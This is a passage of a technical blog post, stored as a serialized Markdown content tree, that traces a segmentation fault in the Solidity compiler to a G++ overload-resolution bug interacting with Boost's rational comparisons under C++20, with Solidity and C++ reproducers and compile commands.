A",{"type":22,"tag":264,"props":91144,"children":91145},{"style":1539},[91146],{"type":27,"value":4594},{"type":22,"tag":264,"props":91148,"children":91149},{"class":1534,"line":1583},[91150,91155,91160,91164,91168,91173,91177,91181,91185],{"type":22,"tag":264,"props":91151,"children":91152},{"style":4293},[91153],{"type":27,"value":91154},"    function",{"type":22,"tag":264,"props":91156,"children":91157},{"style":4401},[91158],{"type":27,"value":91159}," a",{"type":22,"tag":264,"props":91161,"children":91162},{"style":1539},[91163],{"type":27,"value":15342},{"type":22,"tag":264,"props":91165,"children":91166},{"style":4293},[91167],{"type":27,"value":62997},{"type":22,"tag":264,"props":91169,"children":91170},{"style":4293},[91171],{"type":27,"value":91172}," pure",{"type":22,"tag":264,"props":91174,"children":91175},{"style":4328},[91176],{"type":27,"value":77319},{"type":22,"tag":264,"props":91178,"children":91179},{"style":1539},[91180],{"type":27,"value":4370},{"type":22,"tag":264,"props":91182,"children":91183},{"style":4722},[91184],{"type":27,"value":47488},{"type":22,"tag":264,"props":91186,"children":91187},{"style":1539},[91188],{"type":27,"value":16103},{"type":22,"tag":264,"props":91190,"children":91191},{"class":1534,"line":1603},[91192,91196,91200,91205,91209],{"type":22,"tag":264,"props":91193,"children":91194},{"style":4328},[91195],{"type":27,"value":17044},{"type":22,"tag":264,"props":91197,"children":91198},{"style":4344},[91199],{"type":27,"value":5817},{"type":22,"tag":264,"props":91201,"children":91202},{"style":4309},[91203],{"type":27,"value":91204}," **",{"type":22,"tag":264,"props":91206,"children":91207},{"style":4344},[91208],{"type":27,"value":9228},{"type":22,"tag":264,"props":91210,"children":91211},{"style":1539},[91212],{"type":27,"value":4322},{"type":22,"tag":264,"props":91214,"children":91215},{"class":1534,"line":1612},[91216],{"type":22,"tag":264,"props":91217,"children":91218},{"style":1539},[91219],{"type":27,"value":1674},{"type":22,"tag":264,"props":91221,"children":91222},{"class":1534,"line":1621},[91223],{"type":22,"tag":264,"props":91224,"children":91225},{"style":1539},[91226],{"type":27,"value":1692},{"type":22,"tag":23,"props":91228,"children":91229},{},[91230],{"type":27,"value":91231},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":22,"tag":23,"props":91233,"children":91234},{},[91235],{"type":27,"value":91236},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":22,"tag":23,"props":91238,"children":91239},{},[91240],{"type":27,"value":91241},"And yet, it crashes.",{"type":22,"tag":23,"props":91243,"children":91244},{},[91245],{"type":27,"value":91246},"Another minimal example?",{"type":22,"tag":618,"props":91248,"children":91250},{"code":91249,"language":5767,"meta":7,"className":5768,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[91251],{"type":22,"tag":257,"props":91252,"children":91253},{"__ignoreMap":7},[91254,91261,91276,91283,91298,91325,91346,91353],{"type":22,"tag":264,"props":91255,"children":91256},{"class":1534,"line":1535},[91257],{"type":22,"tag":264,"props":91258,"children":91259},{"style":4284},[91260],{"type":27,"value":91104},{"type":22,"tag":264,"props":91262,"children":91263},{"class":1534,"line":1545},[91264,91268,91272],{"type":22,"tag":264,"props":91265,"children":91266},{"style":4328},[91267],{"type":27,"value":91112},{"type":22,"tag":264,"props":91269,"children":91270},{"style":4293},[91271],{"type":27,"value":91117},{"type":22,"tag":264,"props":91273,"children":91274},{"style":1539},[91275],{"type":27,"value":91122},{"type":22,"tag":264,"props":91277,"children":91278},{"class":1534,"line":1560},[91279],{"type":22,"tag":264,"props":91280,"children":91281},{"emptyLinePlaceholder":17},[91282],{"type":27,"value":4986},{"type":22,"tag":264,"props":91284,"children":91285},{"class":1534,"line":1569},[91286,91290,91294],{"type":22,"tag":264,"props":91287,"children":91288},{"style":4293},[91289],{"type":27,"value":91137},{"type":22,"tag":264,"props":91291,"children":91292},{"style":4722},[91293],{"type":27,"value":91142},{"type":22,"tag":264,"props":91295,"children":91296},{"style":1539},[91297],{"type":27,"value":4594},{"type":22,"tag":264,"props":91299,"children":91300},{"class":1534,"line":1583},[91301,91305,91309,91313,91317,91321],{"type":22,"tag":264,"props":91302,"children":91303},{"style":4293},[91304],{"type":27,"value":91154},{"type":22,"tag":264,"props":91306,"children":91307},{"style":4401},[91308],{"type":27,"value":91159},{"type":22,"tag":264,"props":91310,"children":91311},{"style":1539},[91312],{"type":27,"value":15342},{"type":22,"tag":264,"props":91314,"children":91315},{"style":4293},[91316],{"type":27,"value":62997},{"type":22,"tag":264,"props":91318,"children":91319},{"style":4293},[91320],{"type":27,"value":91172},{"type":22,"tag":264,"props":91322,"children":91323},{"style":1539},[91324],{"type":27,"value":4594},{"type":22,"tag":264,"props":91326,"children":91327},{"class":1534,"line":1603},[91328,91333,91337,91341],{"type":22,"tag":264,"props":91329,"children":91330},{"style":4722},[91331],{"type":27,"value":91332},"        uint256",{"type":22,"tag":264,"props":91334,"children":91335},{"style":1539},[91336],{"type":27,"value":5045},{"type":22,"tag":264,"props":91338,"children":91339},{"style":4344},[91340],{"type":27,"value":602},{"type":22,"tag":264,"props":91342,"children":91343},{"style":1539},[91344],{"type":27,"value":91345},"] data;\n",{"type":22,"tag":264,"props":91347,"children":91348},{"class":1534,"line":1612},[91349],{"type":22,"tag":264,"props":91350,"children":91351},{"style":1539},[91352],{"type":27,"value":1674},{"type":22,"tag":264,"props":91354,"children":91355},{"class":1534,"line":1621},[91356],{"type":22,"tag":264,"props":91357,"children":91358},{"style":1539},[91359],{"type":27,"value":1692},{"type":22,"tag":23,"props":91361,"children":91362},{},[91363],{"type":27,"value":91364},"Still crashes.",{"type":22,"tag":23,"props":91366,"children":91367},{},[91368],{"type":27,"value":91369},"So what’s going on?",{"type":22,"tag":23,"props":91371,"children":91372},{},[91373],{"type":27,"value":91374},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":22,"tag":618,"props":91376,"children":91378},{"code":91377,"language":30426,"meta":7,"className":30424,"style":7},"if (*lengthValue == 0) { ... }\n",[91379],{"type":22,"tag":257,"props":91380,"children":91381},{"__ignoreMap":7},[91382],{"type":22,"tag":264,"props":91383,"children":91384},{"class":1534,"line":1535},[91385,91389,91393,91397,91402,91406,91410],{"type":22,"tag":264,"props":91386,"children":91387},{"style":4328},[91388],{"type":27,"value":16879},{"type":22,"tag":264,"props":91390,"children":91391},{"style":1539},[91392],{"type":27,"value":4370},{"type":22,"tag":264,"props":91394,"children":91395},{"style":4309},[91396],{"type":27,"value":5865},{"type":22,"tag":264,"props":91398,"children":91399},{"style":1539},[91400],{"type":27,"value":91401},"lengthValue ",{"type":22,"tag":264,"props":91403,"children":91404},{"style":4309},[91405],{"type":27,"value":9870},{"type":22,"tag":264,"props":91407,"children":91408},{"style":4344},[91409],{"type":27,"value":4347},{"type":22,"tag":264,"props":91411,"children":91412},{"style":1539},[91413],{"type":27,"value":91414},") { ... }\n",{"type":22,"tag":23,"props":91416,"children":91417},{},[91418,91420,91426],{"type":27,"value":91419},"That single comparison — a ",{"type":22,"tag":257,"props":91421,"children":91423},{"className":91422},[],[91424],{"type":27,"value":91425},"boost::rational",{"type":27,"value":91427}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":22,"tag":23,"props":91429,"children":91430},{},[91431],{"type":27,"value":91432},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":22,"tag":17988,"props":91434,"children":91435},{},[91436,91441,91446],{"type":22,"tag":1871,"props":91437,"children":91438},{},[91439],{"type":27,"value":91440},"A 12-year-old overload resolution bug in G++",{"type":22,"tag":1871,"props":91442,"children":91443},{},[91444],{"type":27,"value":91445},"An outdated symmetric comparison pattern in Boost",{"type":22,"tag":1871,"props":91447,"children":91448},{},[91449],{"type":27,"value":91450},"A subtle but impactful rewrite rule in C++20",{"type":22,"tag":23,"props":91452,"children":91453},{},[91454],{"type":27,"value":91455},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":22,"tag":20097,"props":91457,"children":91458},{},[],{"type":22,"tag":169,"props":91460,"children":91462},{"id":91461},"background-the-setup",[91463],{"type":27,"value":91464},"Background: The Setup",{"type":22,"tag":23,"props":91466,"children":91467},{},[91468,91470,91477],{"type":27,"value":91469},"If you follow the ",{"type":22,"tag":69,"props":91471,"children":91474},{"href":91472,"rel":91473},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[73],[91475],{"type":27,"value":91476},"Solidity build documentation (v0.8.30)",{"type":27,"value":91478},", you'll see it recommends:",{"type":22,"tag":17988,"props":91480,"children":91481},{},[91482,91487],{"type":22,"tag":1871,"props":91483,"children":91484},{},[91485],{"type":27,"value":91486},"Boost ≥ 1.67",{"type":22,"tag":1871,"props":91488,"children":91489},{},[91490],{"type":27,"value":91491},"GCC ≥ 11",{"type":22,"tag":23,"props":91493,"children":91494},{},[91495],{"type":27,"value":91496},"Ubuntu 22.04, for example, ships with:",{"type":22,"tag":17988,"props":91498,"children":91499},{},[91500,91505],{"type":22,"tag":1871,"props":91501,"children":91502},{},[91503],{"type":27,"value":91504},"G++ 11.4.0",{"type":22,"tag":1871,"props":91506,"children":91507},{},[91508],{"type":27,"value":91509},"Boost 1.74.0",{"type":22,"tag":23,"props":91511,"children":91512},{},[91513],{"type":27,"value":91514},"So far, so good.",{"type":22,"tag":23,"props":91516,"children":91517},{},[91518,91520,91525],{"type":27,"value":91519},"However, Solidity enabled ",{"type":22,"tag":242,"props":91521,"children":91522},{},[91523],{"type":27,"value":91524},"C++20",{"type":27,"value":91526}," in January 2025:",{"type":22,"tag":4226,"props":91528,"children":91529},{},[91530],{"type":22,"tag":23,"props":91531,"children":91532},{},[91533],{"type":22,"tag":69,"props":91534,"children":91537},{"href":91535,"rel":91536},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[73],[91538],{"type":27,"value":91539},"Enable C++20 in Solidity",{"type":22,"tag":23,"props":91541,"children":91542},{},[91543],{"type":27,"value":91544},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":22,"tag":20097,"props":91546,"children":91547},{},[],{"type":22,"tag":169,"props":91549,"children":91551},{"id":91550},"part-i-a-12-year-old-g-bug-in-overload-resolution",[91552],{"type":27,"value":91553},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":22,"tag":181,"props":91555,"children":91557},{"id":91556},"whats-overload-resolution",[91558],{"type":27,"value":91559},"What’s Overload Resolution?",{"type":22,"tag":23,"props":91561,"children":91562},{},[91563,91565,91571,91573,91579,91581,91586,91588,91593,91595,91601,91603,91608,91609,91615],{"type":27,"value":91564},"In C++, when you write an expression like ",{"type":22,"tag":257,"props":91566,"children":91568},{"className":91567},[],[91569],{"type":27,"value":91570},"a == b",{"type":27,"value":91572},", the compiler chooses among available ",{"type":22,"tag":257,"props":91574,"children":91576},{"className":91575},[],[91577],{"type":27,"value":91578},"operator==",{"type":27,"value":91580}," implementations by comparing their ",{"type":22,"tag":242,"props":91582,"children":91583},{},[91584],{"type":27,"value":91585},"match quality",{"type":27,"value":91587},". A ",{"type":22,"tag":242,"props":91589,"children":91590},{},[91591],{"type":27,"value":91592},"member function",{"type":27,"value":91594}," like ",{"type":22,"tag":257,"props":91596,"children":91598},{"className":91597},[],[91599],{"type":27,"value":91600},"a.operator==(b)",{"type":27,"value":91602}," usually has higher priority than a ",{"type":22,"tag":242,"props":91604,"children":91605},{},[91606],{"type":27,"value":91607},"non-member function",{"type":27,"value":91594},{"type":22,"tag":257,"props":91610,"children":91612},{"className":91611},[],[91613],{"type":27,"value":91614},"operator==(a, b)",{"type":27,"value":91616}," — unless the types differ too much or are ambiguous.",{"type":22,"tag":23,"props":91618,"children":91619},{},[91620],{"type":27,"value":91621},"That’s the rule. But G++ didn’t always follow it.",{"type":22,"tag":181,"props":91623,"children":91625},{"id":91624},"the-bug",[91626],{"type":27,"value":91627},"The Bug",{"type":22,"tag":23,"props":91629,"children":91630},{},[91631,91633,91640],{"type":27,"value":91632},"In 2012, a bug was filed: ",{"type":22,"tag":69,"props":91634,"children":91637},{"href":91635,"rel":91636},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[73],[91638],{"type":27,"value":91639},"GCC Bug 53499 – overload resolution favors non-member function",{"type":27,"value":91641},". The issue? In expressions where:",{"type":22,"tag":17988,"props":91643,"children":91644},{},[91645,91665],{"type":22,"tag":1871,"props":91646,"children":91647},{},[91648,91650,91656,91658,91663],{"type":27,"value":91649},"A class ",{"type":22,"tag":257,"props":91651,"children":91653},{"className":91652},[],[91654],{"type":27,"value":91655},"rational\u003CT>",{"type":27,"value":91657}," has a templated ",{"type":22,"tag":257,"props":91659,"children":91661},{"className":91660},[],[91662],{"type":27,"value":91578},{"type":27,"value":91664}," member function",{"type":22,"tag":1871,"props":91666,"children":91667},{},[91668,91670,91676],{"type":27,"value":91669},"There's also a more generic free ",{"type":22,"tag":257,"props":91671,"children":91673},{"className":91672},[],[91674],{"type":27,"value":91675},"operator==(rational\u003CT>, U)",{"type":27,"value":39528},{"type":22,"tag":23,"props":91678,"children":91679},{},[91680],{"type":22,"tag":242,"props":91681,"children":91682},{},[91683],{"type":27,"value":91684},"Clang correctly chooses the member function.",{"type":22,"tag":23,"props":91686,"children":91687},{},[91688],{"type":22,"tag":242,"props":91689,"children":91690},{},[91691],{"type":27,"value":91692},"G++ (before v14) chooses the non-member function.",{"type":22,"tag":23,"props":91694,"children":91695},{},[91696,91698,91703,91705,91712],{"type":27,"value":91697},"Why? Because G++ mishandles ",{"type":22,"tag":242,"props":91699,"children":91700},{},[91701],{"type":27,"value":91702},"templated conversion + non-exact match",{"type":27,"value":91704},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":22,"tag":69,"props":91706,"children":91709},{"href":91707,"rel":91708},"https://cplusplus.github.io/CWG/issues/532.html",[73],[91710],{"type":27,"value":91711},"CWG532: Member/nonmember operator template partial ordering",{"type":27,"value":210},{"type":22,"tag":181,"props":91714,"children":91716},{"id":91715},"a-minimal-reproducer",[91717],{"type":27,"value":91718},"A Minimal Reproducer",{"type":22,"tag":23,"props":91720,"children":91721},{},[91722],{"type":27,"value":91723},"Let’s see this in action:",{"type":22,"tag":618,"props":91725,"children":91727},{"code":91726,"language":30426,"meta":7,"className":30424,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[91728],{"type":22,"tag":257,"props":91729,"children":91730},{"__ignoreMap":7},[91731,91744,91751,91776,91792,91800,91824,91869,91897,91912,91919,91926,91933,91969,92038,92063,92078,92085,92092,92108,92133,92157],{"type":22,"tag":264,"props":91732,"children":91733},{"class":1534,"line":1535},[91734,91739],{"type":22,"tag":264,"props":91735,"children":91736},{"style":4328},[91737],{"type":27,"value":91738},"#include",{"type":22,"tag":264,"props":91740,"children":91741},{"style":1597},[91742],{"type":27,"value":91743}," \u003Ciostream>\n",{"type":22,"tag":264,"props":91745,"children":91746},{"class":1534,"line":1545},[91747],{"type":22,"tag":264,"props":91748,"children":91749},{"emptyLinePlaceholder":17},[91750],{"type":27,"value":4986},{"type":22,"tag":264,"props":91752,"children":91753},{"class":1534,"line":1560},[91754,91758,91762,91767,91772],{"type":22,"tag":264,"props":91755,"children":91756},{"style":4293},[91757],{"type":27,"value":67539},{"type":22,"tag":264,"props":91759,"children":91760},{"style":1539},[91761],{"type":27,"value":10014},{"type":22,"tag":264,"props":91763,"children":91764},{"style":4293},[91765],{"type":27,"value":91766},"typename",{"type":22,"tag":264,"props":91768,"children":91769},{"style":4722},[91770],{"type":27,"value":91771}," IntType",{"type":22,"tag":264,"props":91773,"children":91774},{"style":1539},[91775],{"type":27,"value":7284},{"type":22,"tag":264,"props":91777,"children":91778},{"class":1534,"line":1569},[91779,91783,91788],{"type":22,"tag":264,"props":91780,"children":91781},{"style":4293},[91782],{"type":27,"value":71734},{"type":22,"tag":264,"props":91784,"children":91785},{"style":4722},[91786],{"type":27,"value":91787}," rational",{"type":22,"tag":264,"props":91789,"children":91790},{"style":1539},[91791],{"type":27,"value":4594},{"type":22,"tag":264,"props":91793,"children":91794},{"class":1534,"line":1583},[91795],{"type":22,"tag":264,"props":91796,"children":91797},{"style":4293},[91798],{"type":27,"value":91799},"public:\n",{"type":22,"tag":264,"props":91801,"children":91802},{"class":1534,"line":1603},[91803,91808,91812,91816,91820],{"type":22,"tag":264,"props":91804,"children":91805},{"style":4293},[91806],{"type":27,"value":91807},"    template",{"type":22,"tag":264,"props":91809,"children":91810},{"style":1539},[91811],{"type":27,"value":10014},{"type":22,"tag":264,"props":91813,"children":91814},{"style":4293},[91815],{"type":27,"value":71734},{"type":22,"tag":264,"props":91817,"children":91818},{"style":4722},[91819],{"type":27,"value":7210},{"type":22,"tag":264,"props":91821,"children":91822},{"style":1539},[91823],{"type":27,"value":7284},{"type":22,"tag":264,"props":91825,"children":91826},{"class":1534,"line":1612},[91827,91831,91836,91841,91845,91849,91853,91857,91861,91865],{"type":22,"tag":264,"props":91828,"children":91829},{"style":4293},[91830],{"type":27,"value":47793},{"type":22,"tag":264,"props":91832,"children":91833},{"style":4293},[91834],{"type":27,"value":91835}," operator",{"type":22,"tag":264,"props":91837,"children":91838},{"style":1539},[91839],{"type":27,"value":91840},"==(",{"type":22,"tag":264,"props":91842,"children":91843},{"style":4293},[91844],{"type":27,"value":10953},{"type":22,"tag":264,"props":91846,"children":91847},{"style":4722},[91848],{"type":27,"value":7210},{"type":22,"tag":264,"props":91850,"children":91851},{"style":4293},[91852],{"type":27,"value":4413},{"type":22,"tag":264,"props":91854,"children":91855},{"style":1549},[91856],{"type":27,"value":4701},{"type":22,"tag":264,"props":91858,"children":91859},{"style":1539},[91860],{"type":27,"value":4390},{"type":22,"tag":264,"props":91862,"children":91863},{"style":4293},[91864],{"type":27,"value":10953},{"type":22,"tag":264,"props":91866,"children":91867},{"style":1539},[91868],{"type":27,"value":4594},{"type":22,"tag":264,"props":91870,"children":91871},{"class":1534,"line":1621},[91872,91877,91882,91887,91892],{"type":22,"tag":264,"props":91873,"children":91874},{"style":1539},[91875],{"type":27,"value":91876},"        std::cout ",{"type":22,"tag":264,"props":91878,"children":91879},{"style":4309},[91880],{"type":27,"value":91881},"\u003C\u003C",{"type":22,"tag":264,"props":91883,"children":91884},{"style":1597},[91885],{"type":27,"value":91886}," \"clang++ resolved member\"",{"type":22,"tag":264,"props":91888,"children":91889},{"style":4309},[91890],{"type":27,"value":91891}," \u003C\u003C",{"type":22,"tag":264,"props":91893,"children":91894},{"style":1539},[91895],{"type":27,"value":91896}," std::endl;\n",{"type":22,"tag":264,"props":91898,"children":91899},{"class":1534,"line":1629},[91900,91904,91908],{"type":22,"tag":264,"props":91901,"children":91902},{"style":4328},[91903],{"type":27,"value":17044},{"type":22,"tag":264,"props":91905,"children":91906},{"style":4293},[91907],{"type":27,"value":13768},{"type":22,"tag":264,"props":91909,"children":91910},{"style":1539},[91911],{"type":27,"value":4322},{"type":22,"tag":264,"props":91913,"children":91914},{"class":1534,"line":1642},[91915],{"type":22,"tag":264,"props":91916,"children":91917},{"style":1539},[91918],{"type":27,"value":1674},{"type":22,"tag":264,"props":91920,"children":91921},{"class":1534,"line":1660},[91922],{"type":22,"tag":264,"props":91923,"children":91924},{"style":1539},[91925],{"type":27,"value":17878},{"type":22,"tag":264,"props":91927,"children":91928},{"class":1534,"line":1668},[91929],{"type":22,"tag":264,"props":91930,"children":91931},{"emptyLinePlaceholder":17},[91932],{"type":27,"value":4986},{"type":22,"tag":264,"props":91934,"children":91935},{"class":1534,"line":1677},[91936,91940,91944,91948,91953,91957,91961,91965],{"type":22,"tag":264,"props":91937,"children":91938},{"style":4293},[91939],{"type":27,"value":67539},{"type":22,"tag":264,"props":91941,"children":91942},{"style":1539},[91943],{"type":27,"value":10014},{"type":22,"tag":264,"props":91945,"children":91946},{"style":4293},[91947],{"type":27,"value":71734},{"type":22,"tag":264,"props":91949,"children":91950},{"style":4722},[91951],{"type":27,"value":91952}," Arg",{"type":22,"tag":264,"props":91954,"children":91955},{"style":1539},[91956],{"type":27,"value":4380},{"type":22,"tag":264,"props":91958,"children":91959},{"style":4293},[91960],{"type":27,"value":71734},{"type":22,"tag":264,"props":91962,"children":91963},{"style":4722},[91964],{"type":27,"value":91771},{"type":22,"tag":264,"props":91966,"children":91967},{"style":1539},[91968],{"type":27,"value":7284},{"type":22,"tag":264,"props":91970,"children":91971},{"class":1534,"line":1686},[91972,91976,91980,91984,91988,91992,91996,92001,92005,92009,92013,92017,92021,92025,92029,92034],{"type":22,"tag":264,"props":91973,"children":91974},{"style":4293},[91975],{"type":27,"value":30999},{"type":22,"tag":264,"props":91977,"children":91978},{"style":4293},[91979],{"type":27,"value":91835},{"type":22,"tag":264,"props":91981,"children":91982},{"style":1539},[91983],{"type":27,"value":91840},{"type":22,"tag":264,"props":91985,"children":91986},{"style":4293},[91987],{"type":27,"value":10953},{"type":22,"tag":264,"props":91989,"children":91990},{"style":4722},[91991],{"type":27,"value":91787},{"type":22,"tag":264,"props":91993,"children":91994},{"style":1539},[91995],{"type":27,"value":7097},{"type":22,"tag":264,"props":91997,"children":91998},{"style":4722},[91999],{"type":27,"value":92000},"IntType",{"type":22,"tag":264,"props":92002,"children":92003},{"style":1539},[92004],{"type":27,"value":11760},{"type":22,"tag":264,"props":92006,"children":92007},{"style":4293},[92008],{"type":27,"value":4413},{"type":22,"tag":264,"props":92010,"children":92011},{"style":1549},[92012],{"type":27,"value":91159},{"type":22,"tag":264,"props":92014,"children":92015},{"style":1539},[92016],{"type":27,"value":4380},{"type":22,"tag":264,"props":92018,"children":92019},{"style":4293},[92020],{"type":27,"value":10953},{"type":22,"tag":264,"props":92022,"children":92023},{"style":4722},[92024],{"type":27,"value":91952},{"type":22,"tag":264,"props":92026,"children":92027},{"style":4293},[92028],{"type":27,"value":4413},{"type":22,"tag":264,"props":92030,"children":92031},{"style":1549},[92032],{"type":27,"value":92033}," b",{"type":22,"tag":264,"props":92035,"children":92036},{"style":1539},[92037],{"type":27,"value":16103},{"type":22,"tag":264,"props":92039,"children":92040},{"class":1534,"line":4948},[92041,92046,92050,92055,92059],{"type":22,"tag":264,"props":92042,"children":92043},{"style":1539},[92044],{"type":27,"value":92045},"    std::cout ",{"type":22,"tag":264,"props":92047,"children":92048},{"style":4309},[92049],{"type":27,"value":91881},{"type":22,"tag":264,"props":92051,"children":92052},{"style":1597},[92053],{"type":27,"value":92054}," \"g++ \u003C14 resolved non-member\"",{"type":22,"tag":264,"props":92056,"children":92057},{"style":4309},[92058],{"type":27,"value":91891},{"type":22,"tag":264,"props":92060,"children":92061},{"style":1539},[92062],{"type":27,"value":91896},{"type":22,"tag":264,"props":92064,"children":92065},{"class":1534,"line":4957},[92066,92070,92074],{"type":22,"tag":264,"props":92067,"children":92068},{"style":4328},[92069],{"type":27,"value":18291},{"type":22,"tag":264,"props":92071,"children":92072},{"style":4293},[92073],{"type":27,"value":10354},{"type":22,"tag":264,"props":92075,"children":92076},{"style":1539},[92077],{"type":27,"value":4322},{"type":22,"tag":264,"props":92079,"children":92080},{"class":1534,"line":4980},[92081],{"type":22,"tag":264,"props":92082,"children":92083},{"style":1539},[92084],{"type":27,"value":1692},{"type":22,"tag":264,"props":92086,"children":92087},{"class":1534,"line":4989},[92088],{"type":22,"tag":264,"props":92089,"children":92090},{"emptyLinePlaceholder":17},[92091],{"type":27,"value":4986},{"type":22,"tag":264,"props":92093,"children":92094},{"class":1534,"line":4998},[92095,92099,92104],{"type":22,"tag":264,"props":92096,"children":92097},{"style":4293},[92098],{"type":27,"value":20352},{"type":22,"tag":264,"props":92100,"children":92101},{"style":4401},[92102],{"type":27,"value":92103}," main",{"type":22,"tag":264,"props":92105,"children":92106},{"style":1539},[92107],{"type":27,"value":17036},{"type":22,"tag":264,"props":92109,"children":92110},{"class":1534,"line":5067},[92111,92116,92120,92124,92128],{"type":22,"tag":264,"props":92112,"children":92113},{"style":1539},[92114],{"type":27,"value":92115},"    rational",{"type":22,"tag":264,"props":92117,"children":92118},{"style":4309},[92119],{"type":27,"value":7097},{"type":22,"tag":264,"props":92121,"children":92122},{"style":4293},[92123],{"type":27,"value":20352},{"type":22,"tag":264,"props":92125,"children":92126},{"style":4309},[92127],{"type":27,"value":11760},{"type":22,"tag":264,"props":92129,"children":92130},{"style":1539},[92131],{"type":27,"value":92132}," r;\n",{"type":22,"tag":264,"props":92134,"children":92135},{"class":1534,"line":5075},[92136,92140,92145,92149,92153],{"type":22,"tag":264,"props":92137,"children":92138},{"style":4328},[92139],{"type":27,"value":18291},{"type":22,"tag":264,"props":92141,"children":92142},{"style":1539},[92143],{"type":27,"value":92144}," r ",{"type":22,"tag":264,"props":92146,"children":92147},{"style":4309},[92148],{"type":27,"value":9870},{"type":22,"tag":264,"props":92150,"children":92151},{"style":4344},[92152],{"type":27,"value":4347},{"type":22,"tag":264,"props":92154,"children":92155},{"style":1539},[92156],{"type":27,"value":4322},{"type":22,"tag":264,"props":92158,"children":92159},{"class":1534,"line":5105},[92160],{"type":22,"tag":264,"props":92161,"children":92162},{"style":1539},[92163],{"type":27,"value":1692},{"type":22,"tag":17988,"props":92165,"children":92166},{},[92167],{"type":22,"tag":1871,"props":92168,"children":92169},{},[92170],{"type":27,"value":92171},"Compile with g++\u003C14:",{"type":22,"tag":618,"props":92173,"children":92175},{"code":92174,"language":5536,"meta":7,"className":5537,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92176],{"type":22,"tag":257,"props":92177,"children":92178},{"__ignoreMap":7},[92179],{"type":22,"tag":264,"props":92180,"children":92181},{"class":1534,"line":1535},[92182,92187,92192,92197,92202,92206,92211],{"type":22,"tag":264,"props":92183,"children":92184},{"style":4401},[92185],{"type":27,"value":92186},"g++",{"type":22,"tag":264,"props":92188,"children":92189},{"style":1597},[92190],{"type":27,"value":92191}," -std=c++17",{"type":22,"tag":264,"props":92193,"children":92194},{"style":1597},[92195],{"type":27,"value":92196}," main.cpp",{"type":22,"tag":264,"props":92198,"children":92199},{"style":1597},[92200],{"type":27,"value":92201}," -o",{"type":22,"tag":264,"props":92203,"children":92204},{"style":1597},[92205],{"type":27,"value":31992},{"type":22,"tag":264,"props":92207,"children":92208},{"style":1539},[92209],{"type":27,"value":92210}," && ",{"type":22,"tag":264,"props":92212,"children":92213},{"style":4401},[92214],{"type":27,"value":92215},"./test\n",{"type":22,"tag":23,"props":92217,"children":92218},{},[92219],{"type":27,"value":92220},"Output (on g++ 11.4):",{"type":22,"tag":618,"props":92222,"children":92224},{"code":92223},"g++ \u003C14 resolved non-member\n",[92225],{"type":22,"tag":257,"props":92226,"children":92227},{"__ignoreMap":7},[92228],{"type":27,"value":92223},{"type":22,"tag":17988,"props":92230,"children":92231},{},[92232],{"type":22,"tag":1871,"props":92233,"children":92234},{},[92235],{"type":27,"value":92236},"Compile with clang++:",{"type":22,"tag":618,"props":92238,"children":92240},{"code":92239,"language":5536,"meta":7,"className":5537,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92241],{"type":22,"tag":257,"props":92242,"children":92243},{"__ignoreMap":7},[92244],{"type":22,"tag":264,"props":92245,"children":92246},{"class":1534,"line":1535},[92247,92252,92256,92260,92264,92268,92272],{"type":22,"tag":264,"props":92248,"children":92249},{"style":4401},[92250],{"type":27,"value":92251},"clang++",{"type":22,"tag":264,"props":92253,"children":92254},{"style":1597},[92255],{"type":27,"value":92191},{"type":22,"tag":264,"props":92257,"children":92258},{"style":1597},[92259],{"type":27,"value":92196},{"type":22,"tag":264,"props":92261,"children":92262},{"style":1597},[92263],{"type":27,"value":92201},{"type":22,"tag":264,"props":92265,"children":92266},{"style":1597},[92267],{"type":27,"value":31992},{"type":22,"tag":264,"props":92269,"children":92270},{"style":1539},[92271],{"type":27,"value":92210},{"type":22,"tag":264,"props":92273,"children":92274},{"style":4401},[92275],{"type":27,"value":92215},{"type":22,"tag":23,"props":92277,"children":92278},{},[92279],{"type":27,"value":92280},"Output:",{"type":22,"tag":618,"props":92282,"children":92284},{"code":92283},"clang++ resolved member\n",[92285],{"type":22,"tag":257,"props":92286,"children":92287},{"__ignoreMap":7},[92288],{"type":27,"value":92283},{"type":22,"tag":23,"props":92290,"children":92291},{},[92292],{"type":27,"value":92293},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":22,"tag":20097,"props":92295,"children":92296},{},[],{"type":22,"tag":169,"props":92298,"children":92300},{"id":92299},"part-ii-c20s-symmetric-comparison-feature",[92301],{"type":27,"value":92302},"Part II: C++20’s Symmetric Comparison Feature",{"type":22,"tag":181,"props":92304,"children":92306},{"id":92305},"what-changed-in-c20",[92307],{"type":27,"value":92308},"What Changed in C++20?",{"type":22,"tag":23,"props":92310,"children":92311},{},[92312,92314,92327,92328,92333],{"type":27,"value":92313},"C++20 introduced the 